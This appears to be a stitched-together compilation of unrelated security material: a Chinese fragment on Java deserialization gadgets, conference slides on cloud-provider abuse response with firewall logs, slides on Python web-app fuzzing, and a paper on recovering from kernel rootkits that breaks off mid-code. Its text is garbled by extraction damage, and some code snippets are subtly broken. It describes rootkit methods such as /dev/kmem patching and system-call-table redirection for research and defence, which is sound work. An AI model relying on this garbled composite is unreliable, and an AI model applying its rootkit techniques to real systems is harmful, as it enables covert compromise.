AnnotationInvocationHandler 的 readObject 方法,将其中的 memberValue 变量进行了修改,所以在劫持内部过程,执行 invoke 函数的时候 this.memberValue 不 再是 LazyMap : 2、序列化的过程中序列化了两个 AnnotationInvocationHandler 对象,所以反序列化时会触发两次 readObjet方法。使用两次不一样的注解,清楚的看到两次反序列化。 第一次: 第二次:
pdf
Who  am  I? •  11  years  in  InfoSec  with  5  years  of hobby  work  prior  to  that •  Primary  interests:  penetra;on  tes;ng, intrusion  detec;on,  and  log  correla;on •  Currently  employed  as  an  InfoSec generalist  at  a  cloud  provider •  Previously  worked  at  several  Fortune 100  companies •  [email protected] What  is  this What  is  the  “Cloud?” •  Harnesses  the  massively  scalable Internet  infrastructure  to  provide mul;ple  users  with  on-­‐demand  access to  data,  applica;ons,  and  services •  Use  of  shared  or  virtualized  resources to  lower  costs,  reduce  complexity,  and increase  flexibility •  For  the  purpose  of  this  talk,  we’re talking  about  IaaS  or  SaaS This  is  a  picture  of  a  kiQen A  Weapon  of  Mass  Destruc;on? •  DefCon  17  –  Clobbering  the Cloud  (SensePost) •  DefCon  18  –  Cloud  Compu;ng: A  Weapon  of  Mass  Destruc;on? (Bryan/Anderson) •  Cloud  providers  essen;ally aren’t  doing  much  internal policing  of  their  clients •  Unofficial  policy:  “As  long  as  no complaints  are  received, nothing  will  be  done” Vulnerabili;es  of  the  Cloud Easy  Access Anonymity/Fraud Conten;on  for  resources Threats  to  the  Cloud  Provider Infrastructure  Damage   Fraudulent/ Nonpaying  Clients Proven  inability to  address security Threats  to  the  Client One  compromised  client  of a  mul;-­‐tenant  environment can  affect  others Users  can  be  unaware  that their  data  is  compromised What  are  most  cloud  providers currently  doing? •  Providers  are  trea;ng  cloud  security  as  a tradi;onal  hos;ng  environment •  Clients  are  given  a  virtual  firewall  with in-­‐line  IPS  services •  Providers  frequently  offer  Vulnerability Assessment  for  free •  Each  client’s  virtual  instance  is independent •  Clients  are  “fending  for  themselves”  with no  coordinated  enterprise  security Conven;onal  Solu;on:  IPS •  Very  difficult  for  providers  to  offer prepackaged  IPS  that  works  for  all clients  and  won’t  block  legi;mate traffic •  Informa;on  coming  from  an  IPS  is frequently  incomplete  (encryp;on, lack  of  end-­‐point  awareness) •  In-­‐line  IPS  has  to  work  at  line  speeds, so  very  complex  correla;ons  aren’t possible Conven;onal  Solu;on: Tradi;onal  Design •  Focus  on external  threats •  Assume  internal hosts  are trusted •  Clients  can’t benefit  from security  data being  generated by  other  clients By  the  way,  how’s  that  working? •  I  can’t  say  for  certain  what  the  security posture  is  inside  a  company •  I  can  guess  the  nature  of  the  security posture  based  on  behaviors  of  their network  and  personnel •  Guesses  are  based  on  how  frequently  a par;cular  host  contacted  my  network, and  how  long  it  took  for  it  to  stop •  Data  is  from  first  six  months  of  2011  (AWS) •  There  was  a  single  recurring  host  from AWS.  Given  their  size,  that’s  probably  a very  good  indicator Wed  Apr  20  06:54:50  PDT  2011  FW  Block:  122.248.246.104  Sweep Wed  Apr  20  06:54:54  PDT  2011  Complaint:  122.248.246.104 [email protected]  ec2-­‐[email protected]  email-­‐ [email protected] Wed  Apr  20  21:34:48  PDT  2011  FW  Block:  122.248.246.104 AdminProtocol Wed  Apr  20  21:34:49  PDT  2011  Complaint:  122.248.246.104 [email protected]  ec2-­‐[email protected]  email-­‐ [email protected] •  Based  on  this,  Amazon’s  response  ;me  to complaints/incidents  is  at  least  14.5  hours Rackspace/Slicehost •  There  were  10  recurring  hosts  from  Rackspace. The  worst: Thu  Mar  17  22:18:36  PDT  2011  FW  Block:  184.106.187.15  Sweep Thu  Mar  17  22:18:37  PDT  2011  Complaint:  184.106.187.15 abuse@cloud-­‐ips.com  [email protected] [email protected] Sat  Mar  19  22:45:10  PDT  2011  FW  Block:  184.106.187.15  Sweep Sat  Mar  19  22:45:11  PDT  2011  Complaint:  184.106.187.15 abuse@cloud-­‐ips.com  [email protected] [email protected] •  Based  on  this,  complaint/incident  response ;me  from  Rackspace  is  greater  than  48  hours Soklayer:  Your  World  Wild  Web  provider! •  5  recurring  hosts  from  Soklayer;  all spanned  mul;ple  days •  Soklayer  never  responds  to  complaints or  incidents,  or  at  the  very  least, response  is  measured  in  months The  Proof:  Soklayer  Data Mon  Feb  14  02:46:37  PST  2011  FW  Block:  174.37.237.66  Sweep Mon  Feb  14  02:46:38  PST  2011  Complaint:  174.37.237.66  [email protected] Tue  Apr  19  04:26:09  PDT  2011  FW  Block:  174.37.237.66  Sweep Tue  Apr  19  04:26:11  PDT  2011  Complaint:  174.37.237.66  [email protected] Fri  May  13  10:29:53  PDT  2011  FW  Block:  174.37.237.66  Sweep Fri  May  13  10:29:53  PDT  2011  Complaint:  174.37.237.66  [email protected] Mon  Jun  13  09:06:44  PDT  2011  FW  Block:  174.37.237.66  Sweep Mon  Jun  13  09:06:45  PDT  2011  Complaint:  174.37.237.66  [email protected] Not  as  bad: Thu  Mar  10  18:02:58  PST  2011  FW  Block:  174.37.255.47  AdminProtocol Thu  Mar  10  18:03:20  PDT  2011  Complaint:  174.37.255.47  [email protected] Fri  Mar  18  23:21:20  PDT  2011  FW  Block:  174.37.255.47  Sweep Fri  Mar  18  23:21:20  PDT  2011  Complaint:  174.37.255.47  [email protected] Sun  Mar  20  03:41:04  PDT  2011  FW  Block:  174.37.255.47  AdminProtocol Sun  Mar  20  03:41:05  PDT  2011  Complaint:  174.37.255.47  [email protected] Tighten  it  up •  Clients  should  have  their  own  IDS/ firewall/etc,  but… •  Hosts  that  are  aQacking  mul;ple clients  should  be  detected  and shunned  by  the  provider •  The  provider  should  take  steps  to  help their  clients  protect  themselves •  The  provider  should  also  be  looking for  inten;onally  malicious  clients DANGER! •  Consolida;ng  events from  all  client environments  to  look for  enterprise-­‐ threatening  external agents  would improve  things,  but… •  The  single  largest unaddressed  threat is  the  client  networks What  Are  Providers  Dealing  With? •  Frequent,  rapid  client  changes •  Clients  with  a  wide  variety  of  services, users,  and  ways  of  u;lizing  resources •  Clients  who  are  in  an  unknown  state •  A  need  to  be  as  close  to  0%  false posi;ve  as  possible What  Stays  the  Same? •  In-­‐line  IPS,  owned  and controlled  by  the client •  Firewall,  owned  and controlled  by  the client •  Vulnerability Assessment  (VA) •  Well-­‐understood technologies  that allow  clients  baseline control  over  their own  networks  within the  cloud What  Are  We  Adding? Nerlow  Analyzer IDS NAC Log  Consolida;on On-­‐access  misconfigura;on  detec;on Event  Correla;on Why  Not  OSSIM? •  hQp://alienvault.com/community •  OSSIM  uses  many  of  the  same  tools I’m  sugges;ng •  It  makes  assump;ons  about  the network  it’s  placed  into  (tool/vendor lock-­‐in) •  Correla;on  engine  is  not  as  flexible  as SEC;  regardless,  has  advantages Nerlow  (nfdump) •  hQp://nfdump.sourceforge.net/ •  Used  to  monitor  for  excessive, prolonged  network  u;liza;on •  Can  also  trend  network  performance and  flag  suspicious  spikes •  Data  is  sent  from  internal  switches and  other  network  devices  for  analysis •  Provides  network  server/service inventory  data Enterprise-­‐Wide  IDS  (Snort) •  hQp://www.snort.org/ •  Well-­‐known,  widely  used •  Independent  of  clients; no  client  visibility •  AQached  to  network egress  points •  No  trusted  networks: monitoring  ALL  traffic •  Provides  network  server/ service  inventory  data NAC  (PacketFence) •  hQp://www.packerence.org/home.html •  Post-­‐admission  behavioral  quaran;ning •  This  system  will  take  input  from  our  other systems,  and  use  it  to  make  decisions  to quaran;ne  devices Log  Consolida;on  (syslog-­‐ng) •  Well-­‐known, widely  used •  All  infrastructure devices  (servers, switches,  IDS,  etc) logging  here On-­‐Access  Misconfigura;on Detec;on •  Medusa hQp://www.foofus.net/~jmk/medusa/ medusa.html •  Metasploit hQp://www.metasploit.com/ •  Nmap hQp://nmap.org/ •  Others •  Tools  called  by  correla;on  system  to  run basic  misconfigura;on  checks  of  new services  and  servers The  “Magic”:  Correla;on  (SEC) •  hQp://simple-­‐ evcorr.sourceforge.net/ •  Keeps  track  of  events from  a  variety  of sources •  Isn’t  in-­‐line,  makes  it possible  to  make  slow, well-­‐informed  decisions •  Coordinates  all  other components How  does  this  work? Iden;fying  Misbehaving  Hosts nfdump •  Unusual  traffic  paQerns  alone  don’t dictate  an  incident •  nfdump  data  should  be  compared  with IDS,  firewall  and  other  data  to  look  for anomalies •  Example:  Traffic  peak,  combined  with ARP  collision  messages  from  switches  à ARP  Cache  Overflow •  Example:  Traffic  peak,  combined  with many  IRC  events  à  Botnet  Par;cipa;on Correlated  IDS  Logs •  Much  beQer informa;on,  but  limited to  what  we  can  see •  Example:  Single  event type  enters  server, replayed  by  server mul;ple  ;mes  à  Worm Infec;on •  Example:  Server contacts  successive servers  using  the  same administra;ve  protocol à  Protocol  Scanning Limita;ons •  Err  on  the  side of  cau;on •  Reac;ve,  so damage  might already  be done Demonstra;on Conclusion •  Cloud  providers don’t  appear  to  be internally  policing their  clients’ networks •  Reliable  measures should  be  be  taken to  detect  both malicious  clients and  compromised clients Ques;ons
pdf
Nathan  Hamiel Principal  Consultant Associate  Professor  at  UAT Marcin  Wielgoszewski Security  Engineer •  Reliance  on  tools  can  =  Fail! – Many  more  people  tes4ng  web  apps – Vendors  play  catch-­‐up – Success  is  on  your  shoulders •  Difficult  cases – APIs  and  specialized  data  formats – Sequenced  opera4ons – Randomized  data •  Language  specific – Object-­‐oriented – Byte  compiled – Fast •  Wide  support – Many  security  tools  wriLen  in  Python – Plenty  of  help  available – Plenty  of  resources  for  learning  available w3af SpikeProxy sqlmap ProxyStrike wapi4 sulley Peach Canvas Pyscan DeBlaze Scapy MonkeyFist Pcapy MyNav Idapython •  CPython – hLp://python.org •  Jython – hLp://jython.org •  IronPython – hLp://ironpython.net •  Start  with  hLp://python.org – hLp://docs.python.org/ – hLp://docs.python.org/tutorial/index.html •  Google’s  Python  Class – hLp://code.google.com/edu/languages/google-­‐ python-­‐class/ •  There  are  differences  between  Python  2.x  and 3.x •  Walk  like  a  duck  and  quack  like  a  duck Standard  Lib •  hLplib •  urllib  /  urllib2 •  urlparse •  HTMLParser •  struct •  xml •  json  (Python  2.6) •  difflib 3rd  Party •  hLplib2 •  lxml •  zsi  /  suds •  PyAMF •  pydermonkey •  Twisted •  hLplib – Standard  HTTP  Module – Good  for  GETs  and  POSTs – HTTP  /  HTTPS  support •  hLplib2 – Expanded  HTTP  method  support – Supports  various  auth  methods – Automa4cally  follows  3xx  redirects •  urllib – High  level  module  for  opening  resources – Has  URL  encoding  capabili4es •  urllib2 – Expanded  support  for  handlers •  Merged  in  Python  3  along  with  urlparse •  Examples •  Perform  transi4on  magic – URL  encoding  and  Escaping – String  methods  (base64  /  hex  /  rot13,  etc) – Data  representa4ons  (decimals  /  en44es  /  etc) •  DharmaEncoder – Provides  methods  to  encode  and  wrap  values – hLp://hexsec.com/labs •  Do  the  legwork – Know  your  app – Know  your  parameters – Know  your  data •  Work  smarter – Create  accurate  ranges – itertools  methods – Don’t  empty  the  clip •  Web  fuzzing  lib  for  Python –  hLp://code.google.com/p/pywebfuzz/ – Usable  in  Python  2.x – Easy  to  distributable  and  repeat  tests •  Convenience – Fuzzdb  values  accessible  through  classes – Request  Logic – Range  genera4on  and  encoding  /decoding •  Basic  request  fuzzing •  Finding  an  error  condi4on •  First  things  first – Determine  content  type,  use  appropriate  parser – Don’t  use  HTMLParser if  html:  use  lxml.html elif  xhtml:  use  lxml.etree elif  xml:  use  lxml.etree elif  json:  use  json •  State  Issues – Account  login  /  logout – Randomized  values – Maintaining  proper  state  while  tes4ng •  Request – Process  headers  (referer  and  cookies) – Unable  to  parse  content  properly – Resort  to  regular  expressions •  Selenium – hLp://seleniumhq.org/ •  Windmill – hLp://www.getwindmill.com/ •  Firefox  /  XULRunner –  pyxpcomext •  hLp://pyxpcomext.mozdev.org/no_wrap/tutorials/pyxulrunner/ python_xulrunner_about.html •  Webkit –  PyGtk  /  PyWebKitGtk •  hLp://code.google.com/p/pywebkitgtk/ –  PyQT •  hLp://wiki.python.org/moin/PyQt4 –  PySide  (Official  Support  from  Nokia) •  hLp://www.pyside.org/ •  Render  returned  requests  from  other  libs  in just  a  couple  of  lines  of  code from PyQt4.QtGui import * from PyQt4.QtWebKit import * import httplib2 http = httplib2.Http() headers, content = http.request("http://python.org", "GET") app = QApplication(sys.argv) web = QWebView()web.setHtml(content) web.show() sys.exit(app.exec_()) •  Tradi4onal – ZSI – Suds •  RESTful – Both  High  and  Low  Rest – hLplib – hLplib2 •  Example •  Iden4fy  issues  passively – Cookie  issues – Cache-­‐control – Encoding  issues •  Augment  other  tools – Perform  inspec4on  on  captured  data – Use  your  favorite  inspec4on  proxy – No  need  to  send  data  to  endpoint •  PyAMF  is  most  popular •  Ac4on  Message  Format  encoder/decoder •  Create  remo4ng  clients,  gateways •  Bind  client-­‐side  classes  to  server-­‐side  POJOs •  Start  with  a  simple  Python  design  paLern  class  Factory(object):  def  __init__(self,  *args,  **kwargs):  self.__dict__.update(kwargs)  pyamf.register_class(Factory,  "namespace.of.object.Class") •  You’re  presented  with  an  app  that communicates  via  a  custom  binary  protocol •  Oh  what  to  do  without  my  scanner… •  Convert  between  Python  values  and  C  structs U8 = unsigned 8-byte integer U16 = unsigned 16-byte integer UTF-8 = U16 * (UTF8-char) ; as defined in RFC3629 DOUBLE = 8-byte IEEE-754 double precision ; floating point in network byte order msg = message-count parameters message-count = U16 parameters = number-type | boolean-type | string-type number-marker = 0x00 boolean-marker = 0x01 string-marker = 0x02 number-type = number-marker DOUBLE boolean-type = boolean-marker U8 string-type = string-marker UTF-8 •  Write  the  appropriate  type-­‐marker  to  buffer •  Followed  by  the  value  as  a  Double  buf.write("\x00")  buf.write(struct.pack("!d",  val) •  Reading  is  just  the  opposite •  Struct  unpacks  into  a  Tuple  while  pos  <  len(buf):  ..snip..  if  buf[pos]  ==  "\0x00":  pos  +=  1  val  =  struct.unpack("!d",  buf[pos:pos+8])[0]  pos  +=  8 •  Wri4ng  a  Boolean def  write_bool(buf,  val): buf.write("\x01") buf.write(struct.pack("?",  val)) •  Parsing  a  Boolean  while  pos  <  len(buf)  +  1:  ..snip..  if  buf[pos]  ==  "\0x01":  pos  +=  1  val  =  struct.unpack("?",  buf[pos])[0]  pos  +=  1 •  Wri4ng  a  String def  write_string(buf,  val): u  =  val.encode("utf-­‐8") strlen  =  len(u) buf.write("\x02") buf.write("H%ds"  %  strlen,  strlen,  u) •  Parsing  a  String  while  pos  <  len(buf)  +  1:  ..snip..  if  buf[pos]  ==  "\0x02":  pos  +=  1  s_len  =  struct.unpack("H",  buf[pos:pos+2])[0]  pos  +=  2  val  =  struct.unpack("%ds"  %  strlen,  buf[pos:pos+s_len])[0]  pos  +=  s_len •  You  may  have  no4ced  that  we  wrote  a  simple state-­‐machine •  A  while  loop  that  iterates  over  a  buffer, keeping  track  of  the  state  it’s  in •  Here’s  a  cookie:  <cookie  pic  here> def  decode(buf):  state  =  "START"  while  pos  <  len(buf):  if  state  ==  "START":  #  get  message  count  elif  state  ==  "MARKER":  #  parse  marker  elif  state  ==  "NUMBER":  #  parse  number  elif  state  ==  "BOOL":  #  parse  boolean  elif  state  ==  "STRING":  #  parse  string
pdf
Re-establishing Trust in Compromised Systems: Recovering from Rootkits that Trojan the System Call Table Julian B. Grizzard, John G. Levine, and Henry L. Owen {grizzard, levine, owen}@ece.gatech.edu School of Electrical and Computer Engineering Georgia Institute of Technology Atlanta, Georgia 30332–0250, USA Abstract. We introduce the notion of re-establishing trust in compro- mised systems, specifically looking at recovering from kernel-level root- kits. An attacker that has compromised a system will often install a set of tools, known as a rootkit, which will break trust in the system as well as serve the attacker with other functionalities. One type of rootkit is a kernel-level rootkit, which will patch running kernel code with untrusted kernel code. Specifically, current kernel-level rootkits replace trusted sys- tem calls with trojaned system calls. Our approach to recover from these type of rootkits is to extract the system call table from a known-good kernel image and reinstall the system call table into the running ker- nel. Building on our approach to current generation rootkits, we discuss future generation rootkits and address how to recover from them. 1 Introduction Modern computer systems are vulnerable to a wide variety of attacks. As attack- ers develop methods to exploit these vulnerabilities, a large number of systems are compromised. Compromises are costly to individuals, companies, govern- ments, and other organizations in terms of data breach, downtime, adminis- tration, and recovery. The number of new vulnerabilities discovered each year is growing, and as such we believe system compromises will continue to be a problem for the foreseeable future. Much work has been done on preventing and detecting system compromises; however, system compromises continue to be a problem. To date we have seen little work done in terms of methods for recovering from system compromises. Conventional wisdom states that one should wipe the system clean, reinstall, and patch with the latest updates. In this paper, we begin to explore alternatives to conventional wisdom in terms of recovering from system compromises. In certain cases, it may not be possible or desirable to shutdown the system to perform a fresh install. We study kernel-level rootkit modifications to compromised systems and present tools to recover from kernel-level rootkits. Our work focuses on the Linux kernel and Red Hat Linux distribution. The results of our work should be applicable to other operating systems, especially those on the x86 architecture. We specifically discuss one of the most common tactics of modern kernel-level rootkits: trojaning the system call table. When the system call table is trojaned, even known good system binaries will not report true information about the system. Our approach to recover from such attacks is to insert a trusted system call table from a known good kernel image into the running kernel. This approach gives control back to the system administrator and is the first step in recovering from a root compromise in which a kernel-level rootkit has been installed. Future generation kernel-level rookits may trojan other types of kernel code instead of the system call table. We discuss possible directions for future root- kits and alternative kernel penetration techniques. Our recovery approach of bootstrapping trusted code into the kernel may be useful to recover from future generation rootkits. 1.1 Definition of Compromised System When an attacker has gained some level of permissions on a computer system, the system is said to be compromised. If the attacker gains root access, the com- promise is considered a root-level compromise. With root-level privileges, the attacker can change any state within the system. The attacker owns the system. The attacker can modify the system so that the original trusted reporting pro- cesses no longer report accurate information. Some level of trust must be restored to the system before all reporting information can be relied upon, depending on how trust is broken. Compromised System — If a system is compromised, then the following con- ditions are true. 1. An attacker has gained some level of privileges on the system. 2. The attacker can read or modify some portion of the state within the system. Root-level Compromised System — One specific class of compromised systems are root-level compromises. If a system is compromised with root-level access, then the following conditions are true. 1. An attacker has gained unlimited access to the system. 2. Any state within the system can be read or modified by the attacker. 3. Trust can be broken in the system. 1.2 Definition of Rootkit A rootkit may be considered as a form of a Trojan Horse as discussed in [1]. Once an attacker has compromised a system, he or she often use a rootkit as a tool to covertly retain access to that system. A rootkit can contain utilities to allow the attacker to retain access, hide processes and activities, and break trust in the local system reporting and querying functions. We classify rootkits into user-level and kernel-level rootkits. A user-level rootkit will alter operating system tools at the user level (which usually involves adding or modifying system binaries such as /bin/login). A kernel-level rootkit will alter or insert kernel-space executing code (e.g. system calls). 1.3 Definition of Trust Trust can be defined as the level to which a user believes a computer system executes as specified and does nothing else. If a compromise occurs on that computer system and the user discovers it, the level at which the user trusts the system is significantly lessened. The lowered level of trust is understandable because, for example, a rootkit may be installed on the compromised system such that file listing commands hide certain files and thus not execute as specified. 1.4 Overview and Organization The rest of our paper is outlined as follows. Section 2 discusses the problem of kernel-level rootkits and previous work. Section 3 discusses current generation rootkits that modify the system call table. Section 4 describes our approach for recovering from current generation rootkits. Section 5 shows results of applying our techniques to real-world rootkits. In Section 6 we look at future generation rootkits in terms of their penetration techniques and kernel targets to trojan. Further, we discuss a concept to strengthen our algorithm described in Section 4. Finally, we discuss our conclusions and future work in Section 7 2 Motivation With the proliferation of exploits targeted to today’s computer systems, an at- tacker has the ability to compromise a number of systems. Once an attacker has compromised a system, he or she will want to retain access to that system even if the original security hole is patched. In order to retain access to a compro- mised system, the attacker will often install a rootkit onto the target system. The rootkit will add a backdoor onto the target system that the attacker can use to reenter the system at a later time. We set up a Red Hat 6.2 system on the Georgia Tech honeynet [2], and within a matter of days an attacker had compromised the box and installed a kernel-level rootkit, r.tgz, on the system. If the system administrator notices that an attacker has compromised the system, the administrator will immediately take pervasive actions to block the attacker from reentering the system. However, the attacker may have installed a rootkit to hide the attacker’s activities, files, and backdoor entry point. To accomplish this goal, the rootkit will break trust in system reporting facilities (e.g. /bin/ls, /usr/bin/top, /sbin/lsmod). With a user-level rootkit, the system administrator can restore trust in the system by using known good utilities (e.g. /mnt/cdrom/ls, /mnt/cdrom/top, /mnt/cdrom/lsmod ). A kernel-level rootkit does not replace binaries but rather replaces running kernel code. We are not aware of any current methodology for restoring trust in a running system in which a kernel-level rootkit has been installed except for a complete reinstallation. 2.1 Related Work Thimbleby, Anderson, and Cairns developed a mathematical framework to model Trojans and viruses [3]. They discuss a virus that could infect a system querying program in such a way that the querying program itself would be unable to detect that it was infected. This recursive infection leads to the idea behind kernel-level rootkits. When a kernel-level rootkit is installed, tools that check to see if a rootkit is installed are relying on an infected program, the kernel. Recent research has been conducted developing a methodology for charac- terizing rootkits [1, 4, 5]. The methodology to characterize rootkits involves de- termining the ∆ between a baseline system and a system compromised with a kernel-level rootkit. The ∆ is used to characterize rootkits based on checksums, number of files replaced, number of files added, user level verses kernel level, penetration into the kernel, and so forth. Government organizations have begun to investigate rootkits. The National Infrastructure Security Co-ordination Centre for the United Kingdom has re- cently published a report on Trojans and rootkits that discusses detection, reme- diation, and prevention of rootkits [6]. Their report describes Trojans as Remote Access Tools (RATs) that provide the attacker with a backdoor into the com- promised system. The report discusses some of the functionality of RATs, which includes: monitoring system activities (i.e. watch users keystrokes and monitor users), monitor network traffic, use system resources, modify files, relay email (i.e. spam). Other work has been conducted towards detecting and preventing kernel-level rootkits. Kim and Spafford show how a file system integrity checker, tripwire, can be used to monitor files for corruption, change, addition, and deletion [7]. In addition to other uses, tripwire can notify system administrators that system binaries have changed. Tripwire must establish a baseline for a known good file system. To establish a baseline, tripwire takes a hash (e.g. MD5, CRC, Snefru) of the files at a known good point. The baseline can be used for comparison at later points in time. A binary-level rootkit will replace system binaries, which will set off the “trip wire” and alert the administrator. However, a rootkit designer can counteract tripwire by breaking trust in the reporting tools upon which tripwire relies. The open source and hacker communities have developed various tools to detect and prevent rootkits, which include: chkrootkit [8], kern check [9], Check- IDT [10], and Saint Michael [11]. The chkrootkit tool is a script that checks systems for signs of rootkits. The chkrootkit script can detect many rootkits in- cluding both user-level rootkits and kernel-level rootkits, however some rootkits may evade detection. The kern check tool is used to detect kernel-level root- kits. The kern check tool compares the addresses of system calls as defined in the System.map file, generated at kernel compile time, to the current addresses of system calls. The CheckIDT tool is a user-level program that can read and restore the interrupt descriptor table, of which the 0x80th entry points to the system call handler. Saint Michael is a kernel module that monitors the ktext (kernel code in memory) for modifications and attempts to recover from any modification to running kernel code. Saint Michael, however, must be installed prior to a system compromise and is not always successful. 2.2 Broader Scope Intrusion prevention and intrusion detection have not slowed the growth of com- puter compromises to an acceptable rate. Research is drifting towards intrusion tolerance, and one element of intrusion tolerance is repair and recovery. In this paper, we begin to explore recovering from system compromises. There may be certain circumstances where the traditional format and reinstall is undesirable such as military systems, enterprise servers, or large clusters of machines. We are also motivated by the need to perform forensics analysis on com- promised systems. When a system is compromised, it is important to gather evidence that can be used for legal purposes.1 It is important to understand the attack in order to prevent future attacks. Much of the evidence in a compromised system might only be resident in memory, so the evidence must be recovered be- fore powering off the machine. In order to retrieve accurate information in the system, trust must be restored. Although our work focuses on methods to recover operating system struc- tures from system compromises, in many cases the most damaging part of a compromise is the data on the system that was compromised. This data can include passwords, credit cards numbers, keys, or other sensitive information. Our work does not solve the problem of data compromise, but we think it is an- other step in that direction. We envision self-healing systems that automatically detect system compromises and halt all attacker activity as quickly as possible in order to minimize the damage done. 3 Analysis of Current Generation Kernel-Level Rootkits Kernel-level rootkits are rootkits that modify or insert code that runs in kernel mode. These types of rootkits may include user-level components but must have some functionality that resides at the kernel level. From our experience of ex- amining rootkits, we characterize kernel-level rootkits based on two additional characteristics: Penetration into the kernel and Modification of the system call table. 3.1 Penetration In terms of Penetration, we classify current generation kernel-level rootkits into two types based on their technique used for modifying kernel code. The subclas- sifications of kernel-level rootkits are: 1 From discussions with Office of Information Technology personnel at Georgia Tech. – Module — Kernel-level rootkit that enters malicious code into the kernel by way of a loadable kernel module (LKM). The LKM, once inserted, will usually hide itself from system reporting facilities (i.e. /sbin/lsmod). We consider these type of rootkits generation I kernel-level rootkits. – User — Kernel-level rootkit that patches running kernel code with malicious code from a user-space process. Usually, this type of rootkit will access ker- nel memory through the /dev/kmem file. The Linux kernel provides access to kernel memory to user-space processes through the /dev/kmem file. We consider these type of rootkits generation II kernel-level rootkits. 3.2 Modification In addition, to classifying kernel-level rootkits in terms of penetration, we also classify rootkits in terms of how they modify the system call table, denoted Modification. Below are the subclassifications of Modification: – Entry Redirection — Redirects individual system calls within the system call table. Modifies original system call table. – Entry Overwrite — Overwrites individual system call code. Does not modify original system call table. – Table Redirection — Redirects the entire system call table. Does not modify original system call table. Figure 1(a) shows how a kernel-level rootkit can redirect individual system calls within the system call table (SCT). The picture represents kernel memory after a kernel-level rootkit with Entry Redirection has been installed on the system. In Figure 1(a), the sys fork system call is unmodified. Notice, however, that system calls number three and number four point to Trojan system calls. The trusted sys read and sys write are still resident in memory, but there are no references to them. The system call table now points to trojan read and trojan write. Any binary executable that relies upon the system calls sys read and sys write will receive untrusted information from the trojaned system calls. Figure 1(c) represents kernel memory after a rootkit with Entry Overwrite has been installed. Again, the sys fork system call is unaltered. Notice, however, that the two system calls sys read and sys write have been overwritten. The actual code for the system calls has been overwritten as opposed to the corre- sponding table entry that references the system calls. The system call table itself is unaltered with this type of rootkit. We have not seen this type of rootkit but speculate that one could be constructed. The advantage of this type of rootkit is that a program such as kern check [9] would not be able to detect the presence of the rootkit as kern check only checks the system call table, but that is only a short-lived advantage as new tools are developed. Figure 1(b) represents kernel memory after a rootkit with Table Redirection has been installed. The picture depicts kernel memory for the i386 architecture and the Linux kernel. Within the Linux kernel code exists a table called the In- terrupt Descriptor Table (IDT) that points to kernel handlers for each interrupt. Kernel Memory <System Code> sys_fork <System Code> sys_read <System Code> sys_write <Untrusted Code> trojan_write SCT ... ... #2 #3 #4 <Untrusted Code> trojan_read (a) Redirect individual system call pointers SCT Ref. ... ... #2 #3 #4 system_call <Untrusted Code> ... ... ... ... IDT 0x80 ... ... #2 #3 #4 SCT Trojan SCT Kernel Memory (b) Redirect pointer to entire system call table Kernel Memory <System Code> sys_fork <Untrusted Code> sys_read <Untrusted Code> sys_write SCT ... ... #2 #3 #4 (c) Overwrite individual system call code Fig. 1. Current rootkit methods to trojan system call table The 0x80th vector is a software interrupt that points to the system call table. All user processes invoke a software interrupt 0x80 in order to call a system call [12]. When software interrupt 0x80 is invoked, the interrupt handler for inter- rupt 0x80 is called, which is the system call handler. The system call handler takes arguments from a user-space process and invokes the requested system call. The system call handler contains a reference to the system call table, which is used to lookup requested system calls. This reference can be changed in order to redirect the entire system call table. As Figure 1(b) shows, the entire system call table has been redirected to a Trojan system call table. The trojan system call table usually contains many of the same entries as the original system call table but with a few key system calls replaced with trojan system calls. We have not shown how the Trojan system call table points to system calls in Figure 1(b) as it is similar to Figure 1(a). 3.3 Sample Rootkits Rootkit Penetration Modification heroin Module Entry Redirection knark Module Entry Redirection adore Module Entry Redirection sucKIT User Table Redirection zk User Table Redirection r.tgz User Table Redirection Table 1. Sample classification of kernel-level rootkits Table 1 shows a sample listing of kernel-level rootkits that we have classified in terms of their characteristics. We show three rootkits that penetrate kernel space through a Module and use Entry Redirection to trojan the system call table. The heroin rootkit is one of the earliest known kernel-level rootkits and is simply a kernel module that redirects a few key system calls. The knark and adore rootkits are other module based rootkits that redirect system call table entries. The second group of rootkits listed are sucKIT, zk, and r.tgz. These root- kits all use table redirection and access kernel memory through the /dev/kmem file. The sucKIT rootkit appears to be one of the pioneering rootkits for Table Redirection. The r.tgz rootkit was captured on a honeynet [13]. We have not seen any kernel-level rootkits that use Table Redirection and are also kernel modules. Similarly, we have not seen any kernel-level rootkits that penetrate the kernel from user space and also use Entry Redirection. We speculate that different combinations of rootkit characteristics are possible but see no motivation to build them. In addition, we also speculate that future kernel-level rootkits may redirect the software interrupt handler or the entire interrupt descriptor table, but have not seen any rootkits to date that use this technique. Finally, we have not seen any rootkits that use Entry Overwrite to trojan system calls. 4 Recovery by Bootstrapping Trust into the Running Kernel Since kernel-level rootkits modify the system call table, the system call table must be repaired in order to recover from a kernel-level rootkit. Kernel-level rootkits overwrite portions of the kernel memory, so some information is lost. However, all of the kernel code can be found elsewhere. In Linux based systems, all that is needed is a copy of the kernel image, vmlinux. The kernel image contains the system call table and system calls. Our approach to bootstrap trust into the running kernel is to, essentially, build a whitehat kernel-level rootkit. Our techniques is similar to sucKIT deriva- tive rootkits. We bootstrap a trusted system call table into the running kernel and redirect the entire system call table to our trusted system call table. We strip out a trusted system call table from a known good kernel image, which is on known good media. Below, we discuss our algorithm, implementation, and tools. 4.1 Algorithm The algorithm has five steps. We use some of the techniques of the sucKIT rootkit. 1. For each system call, allocate kernel memory for the system call and copy a trusted version of the system call into the allocated space. The offset for x86 call instructions within each system call must be adjusted when copying the system call to a new location in memory. 2. Allocate kernel memory for the system call table and set the entries of the system call table to point to the trusted system calls from Step 1. 3. Allocate kernel memory for the system call handler and copy a trusted sys- tem call handler into the memory. Note that the system call handler should reference the newly allocated trusted system call. 4. Query the idtr register to locate the interrupt descriptor table. 5. Set the 0x80th entry in the interrupt descriptor table to the newly allocated system call handler. Note that the trusted system calls will come from a trusted image of the kernel. In addition to the sucKIT rootkit’s redirection of the entire system call table, we also redirect the 0x80th entry of the interrupt descriptor table, the system call handler. The reason for this redirection is that we speculate future rootkits may redirect the system call handler and our goal is to rely on as little trust in the system as possible. It is interesting to note that machine code in the Linux kernel cannot sim- ply be copied from one memory location to another byte by byte. Kernel code compiled with the gcc compiler has many x86 call instructions. One form of the call instruction specifies a relative offset to the target. When moving kernel code around in memory, these call instructions must be modified by adjusting the rel- ative offset. This depends entirely on where the call instruction and target are located in memory. Additionally, a known good hash of the code being copied will no longer be valid after modifying the offset value. 4.2 Implementation We have developed our tools for the i386 architecture. The target system for development is Red Hat 8.0 with the default Linux kernel 2.4.18-4. The instal- lation includes the normal development tools and the Linux kernel sources. Our struct idtr idtr; struct idt idt80; 